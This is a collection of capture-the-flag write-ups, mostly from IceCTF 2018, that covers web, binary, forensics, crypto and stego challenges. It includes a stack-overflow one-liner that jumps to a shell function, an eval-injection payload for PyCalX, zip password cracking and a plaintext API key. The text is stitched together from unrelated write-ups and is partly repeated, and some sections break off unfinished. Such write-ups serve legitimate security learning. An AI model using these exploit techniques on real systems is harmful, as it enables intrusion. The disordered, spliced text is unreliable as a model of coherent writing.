Alice loves to cause mayhem, and recently she sent this message to Bob! Bob is nothing but confused, leading to him asking for your help. Don't let the world descend into chaos!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the string the program accepts.
[password.txt](writeupfiles/password.txt)
**Solution**
```(((())|}|}|}|(][)||(}[}||(){[)|(<}|||}|(){[)|(<}(())))|}|{(((}[)||<{(}[)|<(}<(}>|>|||||}||<{(}[)|<>(}>||||}|||}(())))|})|<((}[)||<{(}[)|<(}[))))|>|>|||}||<{(}[)|<>(}>||||}||())|{(}[)|<(}[((((())|}|}|}|}|}(((())|}|}|}|}))))||(}<())[)||||{((}>|[)|<<({<(}[)|||>(}|>|}><}||||||}((((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}(((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((())|}|}|}|}|}|}|}|}|}|}|}(((((((((())|}|}|}|}|}|}|}|}|}|}((((((((())|}|}|}|}|}|}|}|}|}(((((((())|}|}|}|}|}|}|}|}((((((())|}|}|}|}|}|}|}|(}[}||(){[)|(<}|||}|(){[)|(<}(((((())|}|}|}|}|}[()))|}))||(}(>||>([)|)[)|{)<<((}||{(}[)||>|}|||}><}}||(){[)|(<}((}|()||{(}[)|<([}|)||||}(){[)|(<}|||}|((}(}||[(}[}||||(((((())|}|}|}|}|}[(())|}|}))))||(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||(){[)|(<}(()))|})|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|(}[}||(){[)|(<}|||}|(){[)|(<}(())|}|({)(}[)|||}))|({)(}[)|||}|(}[}||(){[)|(<}|||}|(){[)|(<}((((}||||(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|([}|}|(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||()|(}[}||(){[)|(<}|||}|((}(}||[(}[}||||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|()|(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||((}||((}((}(}||[(}[}|||||[(}[}||||(}[}||(()))))|}|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|({<}|}((<)||||<}}||(){[)|(<}())|())[)[))||[)||(}>|({<(}[)|||>(}|>|}><}||(())|})|()))))|(}>|({<(}[)|||>(}|>|}><}||(}>|({<(}[)|||>(}|>|}><}||(}[}||(){[)|(<}|||}|(){[)|(<}((())|}|}|({(}|(}|(}[)|||}|(()))))|}|([}|}|(}[}||(){[)|(<}|||}|(){[)|(<}()>|>|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}(>{<}|}((<)||||<}}|>||||}|{}((<(]|{(}[)|<}|||}||||}```
**Flag**```flag```
## Misc 10: Hello World!
**Challenge**
Welcome to the competition! To get you started we decided to give you your first flag. The flags all start with the "IceCTF" and have some secret message contained with in curly braces "{" and "}".
Within this platform, the challenges will be shown inside a frame to the right. For example purposes the download interface is shown on the right now. For static challenges you will need to click the large button in order to receive your challenge. For non static challenges, the lab itself will be shown on the right.
To submit the flag you can click the blue flag button in the bottom right hand corner.
Your flag is `IceCTF{this_is_a_flag}`
**Solution**
`CTRL+C, CTRL+V`
**Flag**
```IceCTF{this_is_a_flag}```
## Misc 250: anticaptcha
**Challenge**
Wow, this is a big captcha. Who has enough time to solve this? Seems like a lot of effort to me!
https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/
**Solution**
looks like we will have to answer these questions to get the flag. We automate this:
```python
from bs4 import BeautifulSoupimport requestsfrom fractions import gcd as _gcdimport mathimport reimport sysfrom itertools import count, islicefrom math import sqrt
URL = "https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/"
def isprime(n): n = int(n) return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))
def gcd(a, b): return _gcd(int(a), int(b))
def nthword(a, b): return b.replace('.',' ').replace(' ',' ').split(' ')[int(a)]
asdf = { 'What is the greatest common divisor of (?P[0-9]+) and (?P[0-9]+)?': gcd, 'Is (?P[0-9]+) a prime number?': isprime, 'What is the (?P[0-9]+).. word in the following line:(?P.*)': nthword, 'What is the tallest mountain on Earth?': lambda: "Mount Everest", 'What is the capital of Hawaii?': lambda: "Honolulu", 'What color is the sky?': lambda: "blue", 'What year is it?': lambda: "2018", 'Who directed the movie Jaws?': lambda: "Steven Spielberg", 'What is the capital of Germany?': lambda: "Berlin", 'Which planet is closest to the sun?': lambda: "Mercury", 'How many strings does a violin have?': lambda: "4", 'How many planets are between Earth and the Sun?': lambda: "2",}
data = requests.get(URL)
answers = []
html_doc = data.textsoup = BeautifulSoup(html_doc, 'html.parser')for idx, td in enumerate(soup.find_all('td')): if idx % 2 == 1: continue
text = td.text.replace('\n', '')
matched = False for (m, func) in asdf.items(): match = re.match(m, text) if match: matched = True answers.append(str(func(*match.groups())))
if not matched: print("> %s <" % text)
r = requests.post(URL, headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'answer': answers})print(r.text[:1000])```
when we get it right, the page responds with our flag
**Flag**```IceCTF{ahh_we_have_been_captchured}```
## Misc 200: ilovebees
**Challenge**
I stumbled on to this strange website. It seems like a website made by a flower enthusiast, but it appears to have been taken over by someone... or something.
Can you figure out what it's trying to tell us?
https://static.icec.tf/iloveflowers/
**Solution**
website:
The website seems to be a reference to Halo (https://en.wikipedia.org/wiki/I_Love_Bees)
We download the [entire website](writeupfiles/static.icec.tf/iloveflowers/)
```wget -m https://static.icec.tf/iloveflowers/```
After much searching, the flag turns out to be the favicon gif file:
We see nothing with `strings` or `binwalk` or in the exifdata, but after we extract all the frames to png images
```convert -coalesce favicon.gif out%03d.png```
and run examine the exifdata
```bash$ exiftool out*.png======== out-0.pngExifTool Version Number : 10.60File Name : out-0.pngDirectory : .File Size : 746 bytesFile Modification Date/Time : 2018:09:16 18:45:41+02:00File Access Date/Time : 2018:09:16 18:45:56+02:00File Inode Change Date/Time : 2018:09:16 18:45:41+02:00File Permissions : rw-rw-r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 16Image Height : 16Bit Depth : 8Color Type : PaletteCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedGamma : 2.2White Point X : 0.3127White Point Y : 0.329Red X : 0.64Red Y : 0.33Green X : 0.3Green Y : 0.6Blue X : 0.15Blue Y : 0.06Palette : (Binary data 285 bytes, use -b option to extract)Background Color : 59Modify Date : 2018:09:06 15:20:54Datecreate : 2018-09-16T18:41:49+02:00Datemodify : 2018-09-06T15:20:54+02:00Image Size : 16x16Megapixels : 0.000256======== out-100.pngExifTool Version Number : 10.60File Name : out-100.png
[..]
```
we see that they each have binary metadata embedded that we can extract using the -b option:
```bash$ exiftool -b out*.png > outbinary```
this file doesnt look like much, we could probably clean it up, but a `strings` already gives us the flag:
```bash$ strings outbinary | grep IceIceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}```
**Flag**```IceCTF{MY_FAVORITE_ICON}```
## Misc 300: Secret Recipe
**Challenge**
I found this secret recipe when I was digging around in my Icelandic grandmother's attic. I have a feeling that she might have been a part of some secret organization. Can you see if there are any other secrets hidden in the recipe?
**Solution**
Transcription:
> Leyniuppskrift:>> Byrjaðu á að brjóta 5 egg og setja svo 3 matskeiðar af skyri í skál. Hrærið> svo 9 desilítra af hveiti út í ásamt 3 desilítrum af mjólk. Svo skal setja 7> teskeiðar af lyftidufti og 2 teskeiðar af vanilludropum áður enn það eru sett> 9 grömm af smjöri í skálina.>> Hrærið þessu rækilega saman og setjið svo út á pönnu.>> Alveg eins og amma gerði þða
Translation:
> Secret Recipe>> Start breaking 5 eggs and then put 3 tablespoons of sprouts into a bowl. Stir> 9 decilitres of flour together with 3 deciliters of milk. Then put 7> teaspoons of baking soda and 2 teaspoons of vanilla pods before putting 9> grams of butter in the bowl.>> Stir this thoroughly and then place it on a pan.>> Just like a grandmother made a pillow
**Flag**```flag```
|
# PyCalX
PyCalX was part of the MeePwnCTF Quals 2018 and consists of a webpage with 3 inputs,a value, an operator and a second value.
The code for the challenge is visible on the page when `source` is in the GET-arguments.There is a link for that directly on the page.
The values and operation are used inside an `eval` statement, which very clearly isthe target of our attack.
## Filtered input
Having a look around we'll see that values and the operator are filtered in a few ways.
If a value contains only digits it's casted as integer, if it's a string there is a blacklistfor things like brackets and quotes. Furthermore instead of the string directly a `repr` ofit (containing single-quotes which we can't easily break) is used.
The operator is limited to 2 characters and the first has to be one of `+-/*=!`.
## Exploit
We can freely control the second character of the operator, so let's make it `+'`, that waythe second value will be evaluated as code and an empty string will be appended to the firstvalue.
Using a second value like `+source+FLAG < value1+source+source#` (using the comment-characterto ignore the last `'` in the eval) gives us an evaluated command that effectivelyis equivilant to `'whatever'+''+'Mee'+'MeePwnCTF{...}' < 'whatever'+'Mee'+'Mee'` (for `source=Mee`).
Python considers a string "bigger" than another if there is a difference between them and the firstmismatching character is bigger (in ascii) than in the comparison.
With the example `Mee` would be False, but `Mef` is True.
That made it very easy to use a binary search, making this process really quick.
In the end we get the (annoyingly confusing) flag: `MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}` |
An uninitialized value is being used as the amount of bytes that is being read from the user in a `read()` call. This results in a stack-overflow, where both PIE and ASLR are enabled -- and we have no leaks!
The way we deal with it is using a `vsyscall` gadget, which allows us to "slide" in the stack until we can partially-overwrite a libc address.From there, we partially overwrite it to make it jump to a **PATCHED-IN** gadget (the given libc had an additional gadget), and finally get a shell! |
it is segmentation fault question .Based on "Return oriented programming (ROP)We have to calll a function (shell) by overflowing bueffer click the below link to see complete write up with photo implementation.
https://github.com/d4rkvaibhav/IceCTF-2018/tree/master/Binary%20exploit/CAVE-50pts |
# IceCTF 2018
2-Week-long Icelandic CTF in September 2018
Team: Galaxians
## Overview```Title Category Points Flag------------------------------ -------------- ------ -----------------------------Toke Relaunch Web 50 IceCTF{what_are_these_robots_doing_here}Lights out Web 75 IceCTF{styles_turned_the_lights}Friðfinnur Web 200 IceCTF{you_found_debug}History of Computing Web 350
Simple Overflow Binary 250Cave Binary 50 IceCTF{i_dont_think_caveman_overflowed_buffers}Twitter Binary 800
Modern Picasso Forensics 150 IceCTF{wow_fast}Hard Shells Forensics 200 IceCTF{look_away_i_am_hacking}Lost in the Forest Forensics 300 IceCTF{good_ol_history_lesson}
garfield Cryptography 100 IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}Posted! Cryptography 250Think outside the key! Cryptography 200Ancient Foreign Communications Cryptography 300 IceCTF{squeamish ossifrage}
Drumbone Steganography 150 IceCTF{Elliot_has_been_mapping_bits_all_day}Hot or Not Steganography 300 IceCTF{h0td1gg1tyd0g}Rabbit Hole Steganography 400 IceCTF{if_you_see_this_youve_breached_my_privacy}
Locked Out Reversing 200Poke-A-Mango Reversing 250Passworded! Reversing 400
Hello World! Misc 10 IceCTF{this_is_a_flag}anticaptcha Misc 250 IceCTF{ahh_we_have_been_captchured}ilovebees Misc 199 IceCTF{MY_FAVORITE_ICON}Secret Recipe Misc 290```
## Web 50: Toke Relaunch
**Challenge**
We've relaunched our famous website, Toke! Hopefully no one will hack it again and take it down like the last time.
**Solution**
The link leads to some marijuna website
Last edition the toke challenge had the flag hidden in a cookie, but no cookies are set this time, so we have to look elsewhere
We check the robots.txt file and see:
```User-agent: *Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html
```
the disallowed file contains our flag.
**Flag**```IceCTF{what_are_these_robots_doing_here}```
## Web 75: Ligths out
**Challenge**
Help! We're scared of the dark!
https://static.icec.tf/lights_out
**Solution**
We see a black page
with source:
```html
<html> <head> <meta charset="utf-8" /> <title>Lights out!</title> <link rel="stylesheet" href="main.css" /> </head> <body> <div class="alert alert-danger">Who turned out the lights?!?!</div> <summary> <div class="clearfix"> <small></small> <small></small> </div> </summary> </body></html>
```
Some fiddling with the css yields the flag
**Flag**
```IceCTF{styles_turned_the_lights}```
## Web 200: Friðfinnur
**Challenge**
Eve wants to make the hottest new website for job searching on the market! An avid PHP developer she decided to use the hottest new framework, Laravel! I don't think she knew how to deploy websites at this scale however....
https://gg4ugw5xbsr2myw-fridfinnur.labs.icec.tf/
**Solution**
Not sure if this was the intended solution, but requesting an url for a nonexistant job listing lead to an error message containing the flag:
https://29nd70ux6kr7ala-fridfinnur.labs.icec.tf/jobs/galaxian
**Flag**```IceCTF{you_found_debug}```
## Web 350: History of Computing
**Challenge**
One of the authors of IceCTF made this page but I don't think it's very accurate. Can you take hack it before the IceCTF team gets sued?
**Solution**
A blogging website with registration/login forms and comment submission
If we log in we get a cookie
```token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.session: eyJ1c2VyIjozfQ.DnrHzA.T60QwnNSuvq2HH0VSnNqqzFZ-24```
which base64 decode to:
```token: {"typ":"JWT","alg":"none"}.{"username":"testuser","flag":"IceCTF{hope you don't think this is a real flag}"}session: {"user":3}.?.?```
**Flag**
## Binary Exploit 200: Simple Overflow
**Challenge**
In programming, a buffer overflow is a case where a program, while it is writing data somewhere, overruns the boundary and begins overwriting adjacent memory. This is one of the first vulnerabilities used to exploit software. Modern programming languages tend to provide protection against this type of vulnerability, but it is still observed commonly in low-level software.
Buffer overflows can be a complex vulnerability to understand and exploit due to their low-level nature. To assist you in your training, we have provided a memory simulation in the middle to help you understand what happens when your input in the textbox is passed to the program on the left. The simulation shows you the memory layout of the underlying process, where your buffer is red, and the secret value is green. Try entering values into the box and observe how the values that the program sees change on the left.
In this case, the buffer sits on top of the stack memory, with the variable secret sitting just below it. As you will observe, the size limitation placed on buffer is not enforced, allowing you to write more than 16 characters. Get a feel for buffer overflows by exploring the above code.
Once you are comfortable with buffer overflows, exploit the program to grant you the flag.
[overflow.c](writeupfiles/overflow.c)
**Instructions**1. Hello world!In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.
2. Overflow!What happens if you write more than 16 characters into the buffer? Can you make the secret change?
3. Take controlCan you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.
4. Little endianIn most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?
5. Escape from ASCIIAs you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do?
**Solution**
We examine the source code
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
const char* FLAG = "<REDACTED>"
void flag() { printf("FLAG: %s\n", FLAG);}
void message(char *input) {
char buf[16] = "";
int secret = 0;
strcpy(buf, input);
printf("You said: %s\n", buf);
if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); }}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0;}```
**Flag**
## Binare Exploit 50: Cave
**Challenge**
You stumbled upon a cave! I've heard some caves hold secrets.. can you find the secrets hidden within its depths?
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i");}
void message(char *input) { char buf[16]; strcpy(buf, input);
printf("The cave echoes.. %s\n", buf);}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0;}```
**Solution**
Another buffer overflow challenge, this time we need to overwrite the return address to call the `shell()` function.First we need to find out what that address should be, we can do this with gdb's `info functions shell` or`objdump -d ./shout | grep shell` and find out that the address is `0x0804850b`
So we need to overwrite the return address with this address, in little endian order:
```./shout `python -c "print('a'*28+'\x0b\x85\x04\x08')"````
this gives us a root shell and we can read the contents of `flag.txt` to read our flag:
**Flag**
```IceCTF{i_dont_think_caveman_overflowed_buffers}```
## Binary Exploit 800: Twitter
**Challenge**
Someone left a time machine in the basement with classic games from the 1970s. Let me play these on the job, nothing can go wrong.
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-twitter```
**Solution**
**Flag**
## Forensics 150: Modern Picasso
**Challenge**
Here's a rendition of some modern digital abstract art. Is it more than art though?
**Solution**
Using imagemagick to convert the white background in each frame to transparant:
```convert picasso.gif -transparent white picasso_transparent.gif```
gives a gif that slowly builds up the flag:
**Flag**
```IceCTF{wow_fast}```
## Forensics 200: Hard Shells
**Challenge**
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
[file](writeupfiles/hardshells)
**Solution**
the file is an encrypted zip file.
we use fcrackzip with the crackstation wordlist to find the password
```bash$ fcrackzip -v --use-unzip -D -p wordlist hardshells.zip'hardshells/' is not encrypted, skippingfound file 'hardshells/d', (size cp/uc 309500/5242880, flags 9, chk 91d0)checking pw TILIGUL'S
PASSWORD FOUND!!!!: pw == tacos```
the [file we get](writeupfiles/d) now is a Minix filesystem
```bash$ file dd: Minix filesystem, V1, 30 char names, 20 zones```
Running `strings`, we found `IHDR` indicating it might be a PNG file. Comparingthe file (in vim) to a normal PNG file we discovered they'd changed PNG to PUGand the file became valid.
This gives us a nice screenshot of someone's desktop, with the flag.
**Flag**```IceCTF{look_away_i_am_hacking}```
## Forensics 300: Lost in the Forest
**Challenge**You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
**Solution**We receive a zip file named 'fs.zip' which contains a partial root file system of our hacker's machine. After unzipping we looked for all potentially interesting files:
```find -type f .```
And spotted './home/hkr/Desktop/clue.png' which is just a picture of a redherring. Cute. So the other dozens of JPGs are probably also red herrings. Nextwe looked for more interesting files and just looked at them individually witha text editor:
```vim `find -type f .````
Most were rather uninteresting, but there was a base64 looking string,`./home/hkr/hzpxbsklqvboyou` which might be interesting later. In`.bash_history` there were some interesting commands:
```wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZpmv eRkjLlksZp tool.py./tool.py ../secret > ../hzpxbsklqvboyou```
So that script generated the base64 stuff on the desktop. We'll just write a [decode version of the script](./writeupfiles/lost-in-the-forest.py) and decrypt our output.
**Flag**```IceCTF{good_ol_history_lesson}```
## Cryptography 100: garfeld
**Challenge**
You found the marketing campaign for a brand new sitcom. Garfeld! It has a secret message engraved on it. Do you think you can figure out what they're trying to say?
**Solution**
The image reads:
`IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}`
Looks like the flag but encrypted somehow
Turns out to be vigenere with key `ahchbjhi`
we later realized that the `07271978` at the top of the image is a hint for this key with A=0,B=1 etc
**Flag**
```IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}```
## Cryptography 250: Posted!
**Challenge**
Apparently some bitwise boi is posting flags all over the place. He gave us a hint, though.
```DychGDZJRRsEUTI0JDViVlxeZyFIBCM7MwosGRQCMCgZJCIrGCsoRkFIajcSKhBTGx9XeTV4MDlZB1Y=```
He also gave us another hint: 41
**Solution**
base64 decode, then probably one or more bitwise operation (due to mention of 'bitwise boi' in description), likely involving the number 41
**Flag**
## Cryptography 400: Think outside the key
**Challenge**
Estelle was messing around with her computer and she ended up outputting some garbage! Could you figure out what this means?!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the decrypted text.
[mess.txt](writeupfiles/mess.txt)
**Solution**
```i⇧fjag8⇧qv⇧qy4⇧dag8k0q⇧ptag86⇧s⇧hec⇧l⇧c4ag8z3ssag8⇧q7y66b```
**Flag**```flag```
## Cryptography 300: Ancient Foreign Communications
**Challenge**We got word from a friend of ours lost in the depths of the Andorran jungles! Help us figure out what he is trying to tell us before its too late!
Note: The flag here is non-standard, in the result you should end up with some words! The flag is IceCTF{<words, lowercase, including spaces>}
**Solution**We're given a file with hex bytes, we can use `xxd` to covnert that into the appropriate characters/bytes:
```xxd -r -p comms.txt > out.txt```
Which is full of some fun symbols?
```⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[[[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]]]⌝⌝⌝⌝]]⌟[[[⌝⌝⌝⌝⌟⌝⌝⌝⌝]]]⌞⌞⌞⌝⌝⌝⨆]⌞⌞```
combining pigpen cipher with T9 we translate this to:
```⨅ ]] ⌞⌞ ⌟ [ ⨆ ] ⌟ ]]] ⨆⨆⨆ ⌜ [[[ ⌝⌝⌝ ⌞ ⌝⌝⌝⌝ ⨆ ⌝⌝⌝ ⌞⌞ ⌝⌝⌝⌝ ⌟ ⌝⌝ ⨅⨅ ⌞⌞ ⨆ [ ]]] ⌝⌝⌝⌝ ]] ⌟ [[[ ⌝⌝⌝⌝ ⌟ ⌝⌝⌝⌝ ]]] ⌞⌞⌞ ⌝⌝⌝ ⨆ ] ⌞⌞t h e _ m a g _ i c w o r d s a r e s _ q u e a m i s h _ o s _ s i f r a g e```
method explained:
- `⨅` in pigpen would signify `H`, when we instead combine this with T9, it would mean the letter `t` (one press on the number `8`)- `]]` would be the `dd` in classic pigpen, but now signifies 2 presses on the number `4`, which would be an `h`- `⌞⌞` is two presses on the 3, so a letter `e`- etc
This gives us the sentence
```the magic words are squeamish ossifrage```
Which was the solution to a challenge ciphertext set by the inventor of RSA in 1977 ([link](https://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage))
**Flag**```IceCTF{squeamish ossifrage}```
## Steganography 150: Drumbone
**Challenge**
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?
**Solution**
Nothing in exif data, nothing with binwalk, nothing obvious, so we check the LSB of each challenge. The blue channel seems to consist of only odd number, this seems suspicious so we investigate furter. Mapping the LSB of each of the RGB channels to black or white gives the following result:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeprint(w,h)
outimg_r = Image.new('RGB', (w,h), "white")outimg_g = Image.new('RGB', (w,h), "white")outimg_b = Image.new('RGB', (w,h), "white")
pixels_r = outimg_r.load()pixels_g = outimg_g.load()pixels_b = outimg_b.load()
for i in range(0,w): for j in range(0,h): (r,g,b) = pixels[i,j] if not r&1: pixels_r[i,j] = (0,0,0) if not g&1: pixels_g[i,j] = (0,0,0) if not b&1: pixels_b[i,j] = (0,0,0)
outimg_r.save("outimg_r.png")outimg_g.save("outimg_g.png")outimg_b.save("outimg_b.png")```
This gives us the following images:
Bingpot! the blue channel seems to contain a QR code!
We clean up the image a bit to get our flag:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeoutimg_b = Image.new('RGB', (outw,outh), "white")pixels_b = outimg_b.load()
wout = -1hout = -1for i in range(1,w,6): wout += 1 hout = -1 for j in range(1,h,6): hout+=1 (r,g,b) = pixels[i,j] if not b&1: pixels_b[wout,hout] = (0,0,0)
outimg_b = outimg_b.resize((10*outw,10*outh))outimg_b.save("outimg_b.png")```
**Flag**```IceCTF{Elliot_has_been_mapping_bits_all_day}```
## Steganography 300: Hot or Not
**Challenge**
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
(this is a scaled-down image, original was >70Mb)
**Solution**
Looking at the image more closely, we see it is made up of a series of subimages of either dogs or hotdogs.
Looks like we have to classify the subimages into hotdogs or regular dogs..
First we split the image up into all its subimages with imagemagick
```bash$ convert -crop 224x224 +repage hotdogs/out%04d.jpg```
Next, we can use [Clarifai](https://clarifai.com) to do the image recognition to determine whether the subimages are dogs or hotdogs. Clarifai gives you 5000 free operations per month, but since we have a little over 7500 subimages, we needed two accounts to perform this analysis.
```pythonimport osimport jsonfrom PIL import Imagefrom clarifai.rest import ClarifaiAppfrom clarifai.rest import Image as ClImage
app = ClarifaiApp(api_key='f7f15032b1a04f1fafc2092c63e50e9f')model = app.models.get('general-v1.3')
# detect image contents for all subimagespixels = []for i in range(0,87*87): image = ClImage(file_obj=open("hotdogs/out"+str(i).zfill(4)+".jpg", 'rb')) response = model.predict([image])
hot = False concepts = response['outputs'][0]['data']['concepts'] for concept in concepts: if 'food' in concept['name']: hot = True pixels += [1 if hot == True else 0]
# make qr code image(w,h)=(87,87)
outimg = Image.new( 'RGB', (w,h), "white")pixels_out = outimg.load()
p = 0for i in range(0,h): for j in range(0,w): print(pixels[p]) if pixels[p] == 1: pixels_out[j,i]=(0,0,0) else: pixels_out[j,i]=(255,255,255) p += 1
outimg = outimg.resize((5*w,5*h))outimg.save("pixels_outimg2.png","png")```
This outputs the following image:
This is clearly a QR code, it is just missing the corner anchors. We add these and clean the image up slightly:
**Flag**```IceCTF{h0td1gg1tyd0g}```
## Steganography 400: Rabbit Hole
**Challenge**
Here's a picture of my favorite vegetable. I hope it doesn't make you cry.
**Solution**
After a lot of experimenting, we find out we can uncover a hidden message from the image using steghide:
```bash$ steghide extract -sf rabbithole.jpgEnter passphrase: <onion>wrote extracted data to "address.txt".```
whoo! contents of the file `address.txt` is:
```wsqxiyhn23zdi6ia```
might be an `.onion` link? Opening `http://wsqxiyhn23zdi6ia.onion` with a tor browser (or via https://onion.link/) gives:
[rabbithole.html](writeupfiles/rabbithole.html)
```html
<html> <head> <title>Rabbit Hole</title> <meta charset="UTF-8"> <style> body { background: black; }
p { max-width: 750px; text-align: center; color: #00ff00; margin: 0px auto; }
#header { max-width: 989px; margin: 0px auto; }
#footer { margin: 100px 0; text-align: center; }
#error { max-width: 350px; }
#eyes { max-width: 200px; } </style> </head> <body> <div id="header"> </div> 聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
<div id="footer"> </div> </body></html>
```
We find nothing in the images, but after some hints we find that the chinese characters are [base65536](https://github.com/Parkayun/base65536)
[file with just the characters](writeupfiles/rabbithole_characters.txt)
```python# pip install base65536
import base65536
with open('rabbithole_characters.txt','r') as f: ct = f.readline().rstrip().replace(' ','')
with open('rabbithole_out','wb') as f2: f2.write(base65536.decode(ct))```
which turns out to be an [epub](writeupfiles/rabbithole_out.epub) on cell phone hacking. Searching the contents for the flag gives it to us
**Flag**```IceCTF{if_you_see_this_youve_breached_my_privacy}```
## Reverse Engineering 200: Locked out
**Challenge**This is a fancy looking lock, I wonder what would happen if you broke it open?
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-lockedout```
Note: the binary is [here](writeupfiles/lock)
**Solution**
**Flag**
## Reverse Engineering: Poke-A-Mango
**Challenge**
I love these new AR games that have been coming out recently, so I decided that I would make my own with my favorite fruit! The Mango!
Can you poke 151 mangos?
NOTE Make sure that you allow the app access to your GPS location and camera otherwise the app will not work. You can do that in App Permissions in Settings.
[apk](writeupfiles/pokemango.apk)
**Solution**
installing the app gives a map and a shop menu where it appears you need to find 151 mangoes to get the flag
We decompile the app:
```apktool decode pokemango.apk```
**Flag**```
```
## Reverse Engineering 400: Passworded!
**Challenge**
Alice loves to cause mayhem, and recently she sent this message to Bob! Bob is nothing but confused, leading to him asking for your help. Don't let the world descend into chaos!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the string the program accepts.
[password.txt](writeupfiles/password.txt)
**Solution**
